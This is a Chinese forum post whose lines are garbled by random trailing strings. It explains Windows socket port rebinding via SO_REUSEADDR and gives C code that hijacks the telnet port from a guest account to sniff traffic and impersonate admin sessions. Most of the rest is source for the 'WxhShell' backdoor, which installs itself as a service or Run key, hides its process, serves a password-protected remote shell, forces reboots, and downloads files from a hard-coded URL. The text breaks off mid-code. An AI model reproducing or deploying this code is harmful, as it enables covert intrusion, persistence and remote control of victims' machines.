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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: eXkujjSw"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z1h]  
PT^c^{V  
  saddr.sin_family = AF_INET; p[@5&_u(z  
< n:}kQTT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Zo}y(N1K}  
rx5B=M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oP2fX_v1x  
)' hH^(Yu  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +dP L>R  
>^OC{~Az  
  这意味着什么?意味着可以进行如下的攻击: R@*O!bD  
"&/]@)TPz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qA:#iJ8w  
O0:)X)b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~-#yOu ,w  
k`{@pt.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yCXrVN:`,  
X/; p-KX  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6AP~]e 8  
N,J9Wu ZJ\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 * FeQ*`r  
-@F fU2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (Si=m;g  
p:OPw D+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2qHf'  
jV/CQM5a+  
  #include >;#=gM  
  #include y?)}8T^  
  #include Jj= ;  
  #include    WA$>pG5s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]u-02g  
  int main() z**hD2R!  
  { pCu!l#J  
  WORD wVersionRequested;  8*c3|  
  DWORD ret; 6ATtW+sN]  
  WSADATA wsaData; Ox#Q2W@Uy  
  BOOL val; #-Z8Z i"44  
  SOCKADDR_IN saddr; kJAn4I.l  
  SOCKADDR_IN scaddr; ;@nFVy>U  
  int err; Y2R\]FrT  
  SOCKET s; ]O TH"*j  
  SOCKET sc; JTqq0OD}  
  int caddsize; nq1 9Q)  
  HANDLE mt; %Td )0Lqp  
  DWORD tid;   u0RS)&  
  wVersionRequested = MAKEWORD( 2, 2 ); cDrebU  
  err = WSAStartup( wVersionRequested, &wsaData );  2T)sXBu  
  if ( err != 0 ) { /_\#zC[  
  printf("error!WSAStartup failed!\n"); vMs;>lhtg  
  return -1; ,WQ^tI=O  
  } 2`a q**}  
  saddr.sin_family = AF_INET; $ C0TD7=  
   @+Y8*Rj\3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,SScf98,j  
u=&Bmn_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D%7kBfCb  
  saddr.sin_port = htons(23); RkuuogZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m7%C#+67  
  { f{lZKfrp  
  printf("error!socket failed!\n"); 6] z}#"  
  return -1; )B!d,HKt;  
  } ,&YTj>  
  val = TRUE; Zw] ?.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  y\F=ui  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =6=_/q2  
  { %5  
  printf("error!setsockopt failed!\n"); <8 #ObdY!  
  return -1; r,N[)@  
  } [`Cq\mI-W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; up%Z$"Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eV6o3u:9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Hwm?#6\5  
p\bFdxv#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p{=QGrxB*  
  { X8<2L 2:  
  ret=GetLastError(); #)`A7 $/,  
  printf("error!bind failed!\n"); 6<5Jq\-h  
  return -1; O}#yijU3e  
  } &s)0z)mR8&  
  listen(s,2); ]Y.deVw3i  
  while(1) fA! 6sB  
  { \;]kYO}  
  caddsize = sizeof(scaddr); 15zrrU~D  
  //接受连接请求 }Uf<ZXW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uD[ "{?H  
  if(sc!=INVALID_SOCKET) *o' 4,+=am  
  { @("}]/O V:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R: aYL~  
  if(mt==NULL) fA^7^0![  
  { 5]jIg < j  
  printf("Thread Creat Failed!\n"); D6Y6^eS-  
  break; {BO|u{C  
  } WjM>kWv  
  } \h3e-)  
  CloseHandle(mt); xq!IbVV/h  
  } (_9|w|(  
  closesocket(s); qd!#t]  
  WSACleanup(); Sd:.KRTu.  
  return 0; ]=D5p_A(  
  }   {6xPdUhw  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0]x;n+G[q  
  { s6=YV0w(  
  SOCKET ss = (SOCKET)lpParam; t#<KxwhcN  
  SOCKET sc; hN(L@0)  
  unsigned char buf[4096]; Z,WW]Y,$  
  SOCKADDR_IN saddr; 3D)b*fPc  
  long num; L8V3BH7B  
  DWORD val; ?Ay3u^X  
  DWORD ret; 5@XV6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S;A)C`X&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mjEs5XCC"  
  saddr.sin_family = AF_INET; PMKb ]y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o6?l/nJ  
  saddr.sin_port = htons(23); zH'2s-.bi  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +=8X8<Pu  
  { 3ViM ?p  
  printf("error!socket failed!\n"); 5#_tE<uM  
  return -1; k|O,1  
  } b Dg9P^<n  
  val = 100; G^Xd-7 GQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) el'j&I  
  { 98*x 'Wp  
  ret = GetLastError(); H_X?dj15  
  return -1; Dw |3Z  
  } \]Z&P,}w  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4^O w^7N?  
  { BDpF }  
  ret = GetLastError(); n=`w9qajd  
  return -1; (L|}`  
  } B4O6> '  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) C(]'&~}(  
  { ARx0zI%N  
  printf("error!socket connect failed!\n"); WL\^F#:  
  closesocket(sc); _ K/swT{f  
  closesocket(ss); O}gX{_|6  
  return -1; i=8UBryr'e  
  } -3mgza  
  while(1) 6.Bh3p  
  { @8"18HEp#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a{`"68  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <lOaor c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 id?_>9@P  
  num = recv(ss,buf,4096,0); 4uX(_5#j  
  if(num>0) a{_ KSg  
  send(sc,buf,num,0); O|UxFnB}  
  else if(num==0) 8U^D(jrz  
  break; aqfL0Rg+`  
  num = recv(sc,buf,4096,0); ck$2Ue2`@w  
  if(num>0) l(Cf7o!  
  send(ss,buf,num,0); oP]L5S&A  
  else if(num==0) ogeRYq,g  
  break;  vbKQ*  
  } ,QS'$n  
  closesocket(ss); :^G%57NX  
  closesocket(sc); 0VIZ=-e  
  return 0 ; k_Tswf3  
  } \/,g VT  
BPWnck=%  
Z}[xQ5  
========================================================== J v<$*TVS0  
Ofm5[q=  
下边附上一个代码,,WXhSHELL ]xR4->eix  
sA\L7`2H  
========================================================== M@O2 WB1ws  
sPpS~wk*  
#include "stdafx.h" |yAK@ Hl'  
9- G b"hr  
#include <stdio.h> B+Q+0tw*i  
#include <string.h> =xBT>h;  
#include <windows.h> +=, u jO:  
#include <winsock2.h> Y*\6o7  
#include <winsvc.h> a*Jn#Mx<M  
#include <urlmon.h> Uk02IOXQ  
&A"e,h(^  
#pragma comment (lib, "Ws2_32.lib") p1 4d ,}4W  
#pragma comment (lib, "urlmon.lib") b8HE."*t  
U"B.:C2  
#define MAX_USER   100 // 最大客户端连接数 Vr\Q`H.  
#define BUF_SOCK   200 // sock buffer V5X i '=  
#define KEY_BUFF   255 // 输入 buffer =z-5  
 0dh#/  
#define REBOOT     0   // 重启 ?{j@6,  
#define SHUTDOWN   1   // 关机 N<"`ShCNM  
%|jzEBz@  
#define DEF_PORT   5000 // 监听端口 <N5rv3 s  
hBoP=X.~  
#define REG_LEN     16   // 注册表键长度 1$OVe4H1  
#define SVC_LEN     80   // NT服务名长度 jI Z+d;1  
Wo2 v5-  
// 从dll定义API wDZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~B*~'I9b*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fD(7F N8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .ujj:>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'g]=.K+@}  
mo*'"/  
// wxhshell配置信息 `+^sW#ki  
struct WSCFG { I <xy?{s  
  int ws_port;         // 监听端口 TC@bL<1  
  char ws_passstr[REG_LEN]; // 口令 0T1ko,C!,e  
  int ws_autoins;       // 安装标记, 1=yes 0=no *) } :l  
  char ws_regname[REG_LEN]; // 注册表键名 '&)D>@g  
  char ws_svcname[REG_LEN]; // 服务名 QnP{$rT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &PSTwZd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yP%o0n/"x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 55,=[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4$F:NW,v:)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" shy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mw Z'=H  
7y;u} 1  
}; ($:y\,5(9I  
0IpST  
// default Wxhshell configuration  Db,= 2e  
struct WSCFG wscfg={DEF_PORT, XW^8A 77H  
    "xuhuanlingzhe", 0&Qsk!-B  
    1, i[8NO$tN1)  
    "Wxhshell", b^%?S8]h  
    "Wxhshell", gjQ=8&i  
            "WxhShell Service", [='p!7 z  
    "Wrsky Windows CmdShell Service", OFIMi^@  
    "Please Input Your Password: ", %Dra7B%  
  1, *i%.{ YH  
  "http://www.wrsky.com/wxhshell.exe", mw ?{LT  
  "Wxhshell.exe" D-~G|8g  
    }; -$OD}5ku#  
6QW<RXom  
// 消息定义模块 ,b:n1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {:3.27jQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BL0 |\&*1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  *[VEF  
char *msg_ws_ext="\n\rExit."; PK_Fx';ke^  
char *msg_ws_end="\n\rQuit."; K`~BL=KI  
char *msg_ws_boot="\n\rReboot..."; jjX'_E  
char *msg_ws_poff="\n\rShutdown..."; ^W5>i[  
char *msg_ws_down="\n\rSave to "; X:R%1+&*  
m,=)qex  
char *msg_ws_err="\n\rErr!"; .B6`OX&k  
char *msg_ws_ok="\n\rOK!"; 'qdg:_L"  
|GuKU!  
char ExeFile[MAX_PATH]; 6GY32\Ac  
int nUser = 0; z;U LQ  
HANDLE handles[MAX_USER]; kAY@^vi  
int OsIsNt; Z6NJ)XQy6F  
Ew>~a8! Fq  
SERVICE_STATUS       serviceStatus; Oq[i &  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \Oz,Qzr|  
m';#R9\Fz  
// 函数声明 !8we8)7  
int Install(void); 'N*!>mZ<  
int Uninstall(void); UBL(Nr  
int DownloadFile(char *sURL, SOCKET wsh); IvFR <n  
int Boot(int flag); g;(_Y1YQ  
void HideProc(void); FT<H ]Nf  
int GetOsVer(void); (LRNU)vD7$  
int Wxhshell(SOCKET wsl); BSOjyy1f  
void TalkWithClient(void *cs); ]c5DOv&  
int CmdShell(SOCKET sock); B'<!k7Ewy  
int StartFromService(void); \y[Bu^tk  
int StartWxhshell(LPSTR lpCmdLine); ^v ]UcnB0  
lfXH7jL2~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yLjV[ qP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E]\D>[0O  
wH+FFXGJs  
// 数据结构和表定义 g'KzdG`O0  
SERVICE_TABLE_ENTRY DispatchTable[] = >'eB2  
{ Z+r%_|kZ  
{wscfg.ws_svcname, NTServiceMain}, mVa?aWpez  
{NULL, NULL} _yiR h:  
}; 1% asx'^  
;gEp!R8  
// 自我安装 "3\oQvi.  
int Install(void) | A3U@>6  
{ (W7;}gysh  
  char svExeFile[MAX_PATH]; 7U&5^s )J  
  HKEY key; x(rd$oZO  
  strcpy(svExeFile,ExeFile); iJ,M-GHK  
&t~zD4u B  
// 如果是win9x系统,修改注册表设为自启动 <9ePi9D(  
if(!OsIsNt) { h U 9\y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }Q!h ov  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q^*G`&w,  
  RegCloseKey(key); *^X#Eb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { umZlIH[7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P4hZB_.=  
  RegCloseKey(key); fL(':W&n-  
  return 0; Tld1P69(  
    } P{"  WlJ  
  } fEHh]%GT`  
} &7$,<9.  
else { @YEw^J~  
g&{gD^9)4  
// 如果是NT以上系统,安装为系统服务 : : F!   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8$2l^  
if (schSCManager!=0) FYp|oD2=1  
{ gsLr=  
  SC_HANDLE schService = CreateService ov?.:M  
  ( o9_(DJ<{  
  schSCManager, \Y51KB\  
  wscfg.ws_svcname, I~d#p ]>  
  wscfg.ws_svcdisp, F9Ifw><XM  
  SERVICE_ALL_ACCESS, mGt\7&`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NE$VeW+@  
  SERVICE_AUTO_START, #=`FM:WH  
  SERVICE_ERROR_NORMAL, }l,T~Pjb  
  svExeFile, }5fU7&jA;3  
  NULL, 0|.7Kz^  
  NULL, C<r(-qO{5  
  NULL, ,AdusM  
  NULL, gV<0Hj  
  NULL &?KPu?9  
  ); T r SN00  
  if (schService!=0) H @_eFlT t  
  { ` (7N^@  
  CloseServiceHandle(schService); A8 \U CG  
  CloseServiceHandle(schSCManager); IW5*9)N?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 66I|0_  
  strcat(svExeFile,wscfg.ws_svcname); bHhC56[M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <{$ ev&bQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Zk~nB}Xw  
  RegCloseKey(key); b}ySZlmy  
  return 0; @J~ lV\  
    } >{O[t2&  
  } n%83jep9  
  CloseServiceHandle(schSCManager); Z_iAn TT  
} wm); aWP  
} (Wm/$P;  
2uvQf&,  
return 1; ^m6k@VM  
} w o-O_uZB  
v+xgxQGYH  
// 自我卸载 qR [}EX&3  
int Uninstall(void) q`/amI0  
{ %k/ k]: s  
  HKEY key; iYO wB'z  
(t]lP/  
if(!OsIsNt) { E[)7tr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j[$B\H  
  RegDeleteValue(key,wscfg.ws_regname); >uBV  
  RegCloseKey(key); |y{; |K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~[ d=s  
  RegDeleteValue(key,wscfg.ws_regname); '+ o:,6  
  RegCloseKey(key); /3)YWFZZc  
  return 0; u~/M  
  } !A'`uf4u  
} zCKy`u .  
} |1dEs,z\  
else { g5kYyE  
OmTZ-*N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2+T8Y,g  
if (schSCManager!=0) n:5O9,umZ  
{ ?=;e.qK=71  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); es.\e.HK  
  if (schService!=0) ,cGwtt(  
  { ,Az`6PW  
  if(DeleteService(schService)!=0) { Rxvd+8FF  
  CloseServiceHandle(schService); Ft%TnEp  
  CloseServiceHandle(schSCManager); $I}Hk^X  
  return 0; xJ[k#?T'  
  } s${T*)S@G  
  CloseServiceHandle(schService); 'k-u9  
  } <|KKv5[  
  CloseServiceHandle(schSCManager); ]MqH13`)A  
} w8m8r`h  
} A@@)lD.  
<F#*:Re_y  
return 1; .oi}SG  
} T3u5al  
j61BP8E  
// 从指定url下载文件 M `9orq<  
int DownloadFile(char *sURL, SOCKET wsh) >D`fp  
{ "Cyo<|  
  HRESULT hr; E6k?+i w  
char seps[]= "/"; -!C Y,'3  
char *token; D&z'tf5  
char *file; 0@sr NuW  
char myURL[MAX_PATH]; V7B=+(xK  
char myFILE[MAX_PATH]; fG8}=xH_&  
#.\,y>`  
strcpy(myURL,sURL); [p( #WM:  
  token=strtok(myURL,seps); AhbT/  
  while(token!=NULL) ADLa.{  
  {  qrkRD*a  
    file=token; 9I`Mm}v@  
  token=strtok(NULL,seps); Wvut)T  
  } 'K;4102\  
NgE&KPj\  
GetCurrentDirectory(MAX_PATH,myFILE); jM3Y|}+  
strcat(myFILE, "\\"); !_XU^A>  
strcat(myFILE, file);  \pewbu5^  
  send(wsh,myFILE,strlen(myFILE),0); dVsAX(  
send(wsh,"...",3,0); 4,w{rmj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h 0QYoDvbC  
  if(hr==S_OK) ctc`^#q  
return 0; Z!*8JaMT  
else JGSk4  
return 1; u'$yYzBE  
m]-v IUpb  
} A/$KA'jX  
A1k&` |k   
// 系统电源模块 :{wsd$Qlj  
int Boot(int flag) 0XQ".:+h  
{ I9*BENkR  
  HANDLE hToken; s_ GK;;  
  TOKEN_PRIVILEGES tkp; o/  x5  
|oBdryi  
  if(OsIsNt) { U>L=.\\|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7/D9n9F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); siss_1J  
    tkp.PrivilegeCount = 1; I7q?V1f u4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k[r./xEv+t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !dbA (  
if(flag==REBOOT) { ^EuyvftZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) os(Jr!p_=  
  return 0; shDt&_n  
} HjUw[Yz+6  
else { I*vj26qvg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _} X`t8Lh  
  return 0; vHI"C %  
} Top#u  
  } *xv/b=  
  else { XC$+ `?  
if(flag==REBOOT) { Y&05 *b"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ](9{}DHV  
  return 0; G7/?hky 0.  
} qh)!|B  
else { i"sYf9,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N}l]Ilm$34  
  return 0; 3Q*RR"3  
} uZ0 $s$  
} SRG!G]?-  
!7ZfT?&  
return 1; bW 86Iw  
} Iu1Sj`A  
0IPhVG~#  
// win9x进程隐藏模块 t7!>5e)C}  
void HideProc(void) t5jhpPVf  
{  ,3@15j  
:|m~<'g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vY0V{u?J  
  if ( hKernel != NULL ) S"KTL*9D  
  { ~\)&{ '  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d'AviW>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E9Xk8w'+  
    FreeLibrary(hKernel); /_k hFw  
  } ,],JI|Rl8c  
kXZV%mnT7  
return; UB&S 2g  
} L yA(.  
e\ l,gQP  
// 获取操作系统版本 S)'q:`tZo  
int GetOsVer(void) YAC zznN  
{ )(ZPSg$/F  
  OSVERSIONINFO winfo; zy/tQGTr@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |{ /O)3  
  GetVersionEx(&winfo); ILr6W@o5A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^pQ;0[9Y0  
  return 1; vn%U;}  
  else h[`Op#^x3  
  return 0; (y+5d00  
} li_pM!dWU_  
[>J~M!yu:r  
// 客户端句柄模块 {ZsWZJ!  
int Wxhshell(SOCKET wsl) 8F\Msx  
{ 3R=3\;  
  SOCKET wsh; |L_g/e1A3  
  struct sockaddr_in client; cdtzf:#q  
  DWORD myID; HyX4ob[X  
eR* ]<0=  
  while(nUser<MAX_USER) #`#aSqGmc  
{ <C.$Db&9  
  int nSize=sizeof(client); RkH oT^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f\F_?s)_y  
  if(wsh==INVALID_SOCKET) return 1; ETWmeMN  
w`#0 Y9O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m/F(h-?  
if(handles[nUser]==0) Zz)oMw  
  closesocket(wsh); \I,Dje/:w  
else NX{-D}1X=  
  nUser++; }Mb'tGW  
  } _F|_C5A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p4t!T=o/  
^a#&wW  
  return 0; Q0"F> %Cn  
} @8M2'R\  
VF!kr1n!  
// 关闭 socket ^1Zq0  
void CloseIt(SOCKET wsh) O->(9k<  
{ 'ZZ WH  
closesocket(wsh); vkd<l&zD  
nUser--; RAuAIiQ  
ExitThread(0); d7K17KiC  
} !q6V @&  
>*i8RqU  
// 客户端请求句柄 #2vG_B<M)  
void TalkWithClient(void *cs) -IsdU7}  
{ (zYSSf!I  
K"6+X|yxE  
  SOCKET wsh=(SOCKET)cs; 6!Ji>h.Ak  
  char pwd[SVC_LEN]; :-W CW);N  
  char cmd[KEY_BUFF]; Jgv>$u  
char chr[1]; - 2na::<K  
int i,j; bZ22O"F  
QGz3id6  
  while (nUser < MAX_USER) { , a_{ Y+  
H.mQbD`X  
if(wscfg.ws_passstr) { @61N[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _BLSI8!N@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;Y XrG  
  //ZeroMemory(pwd,KEY_BUFF); {6y.%ysU  
      i=0; Q.E^9giC  
  while(i<SVC_LEN) { =jv$ 1  
[qD<U%Hi  
  // 设置超时 "T1#*"{j  
  fd_set FdRead; H- qP>:  
  struct timeval TimeOut; E29gnYxu8  
  FD_ZERO(&FdRead); nTy,Jml  
  FD_SET(wsh,&FdRead); Qbt>}?-  
  TimeOut.tv_sec=8; ~Ow23N  
  TimeOut.tv_usec=0; rKs WS~U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?O>JtEz~lQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L\?g/l+k  
W;g+R-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); . N} }cJq  
  pwd=chr[0]; @NwM+^  
  if(chr[0]==0xd || chr[0]==0xa) { f{5| }PL  
  pwd=0; {ugKv?e ;  
  break; *9{Wn7pck/  
  } %TTL^@1!b  
  i++; ecI 2]aKi  
    } {2*l :'  
+ET  
  // 如果是非法用户,关闭 socket hsVJ&-#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M*@ aA XM  
} QDT{Xg* I  
rbZ6V :  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OO+#KyU   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vh9s.=*P@  
#~-&&S4a.J  
while(1) { u.4vp]eU  
`k%#0E*H  
  ZeroMemory(cmd,KEY_BUFF); kt0{-\ p  
L.%~?T[F  
      // 自动支持客户端 telnet标准   ~+iJpW  
  j=0; PEn^.v@  
  while(j<KEY_BUFF) { Jas|P}{=fT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {)gd|JV*  
  cmd[j]=chr[0]; >rS<!e%  
  if(chr[0]==0xa || chr[0]==0xd) { QT l._j@  
  cmd[j]=0; Y^m=_*1g5  
  break; n*4X/K  
  } +C;#Qf  
  j++; svRaU7<UDN  
    } o@`E.4  
_@;3$eB  
  // 下载文件 '{k Nbx51  
  if(strstr(cmd,"http://")) { +|)#yE$aMh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H^1 a3L]  
  if(DownloadFile(cmd,wsh)) f4y;K>u7p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ygY+2  
  else Fsj&/: q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e^_@^(||!6  
  } jz7ltoP  
  else { <Jrb"H[ T"  
W3/Stt$D  
    switch(cmd[0]) { U5$DJ5>8  
  K2 K6  
  // 帮助 4_0/]:~5  
  case '?': { Vg~ kpgB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }w^ T9OC  
    break; Z=[a 8CU  
  } )j|y.[  
  // 安装 Z3~*R7G8>  
  case 'i': { T*~)9o  
    if(Install()) O36r ,/X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9v,8OK)  
    else Z?aR9OTP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w*P4_= :%Y  
    break; yBh"qnOT  
    } sq|@9GS0T  
  // 卸载 =\7p0cq&*  
  case 'r': { }JMkM9]  
    if(Uninstall()) pyJOEL]1F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `+;oo B  
    else zP'pfBgbJW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >$52B9ie  
    break; LVl0:!>~  
    } w} q@VVB%  
  // 显示 wxhshell 所在路径 >6834e  
  case 'p': { 4l UE(#kUM  
    char svExeFile[MAX_PATH]; Zw\V}uXI?  
    strcpy(svExeFile,"\n\r"); Wc>)/y5$  
      strcat(svExeFile,ExeFile); 8"UG&wLT  
        send(wsh,svExeFile,strlen(svExeFile),0); IX?%H!i  
    break; <+,0 G`  
    } VCRv(Ek  
  // 重启 tsVhPo]e0  
  case 'b': { :!!`!*!JH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >:E-^t%  
    if(Boot(REBOOT)) Ic!83-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2]*~1d  
    else { rh&Eu qE%  
    closesocket(wsh); L;7mt 4H  
    ExitThread(0); nKkTnTSa  
    } ZM, ^R?e  
    break; iB`]Z@ZC  
    } ?yeC j1X  
  // 关机  8\ ;G+  
  case 'd': { eaP$/U D?  
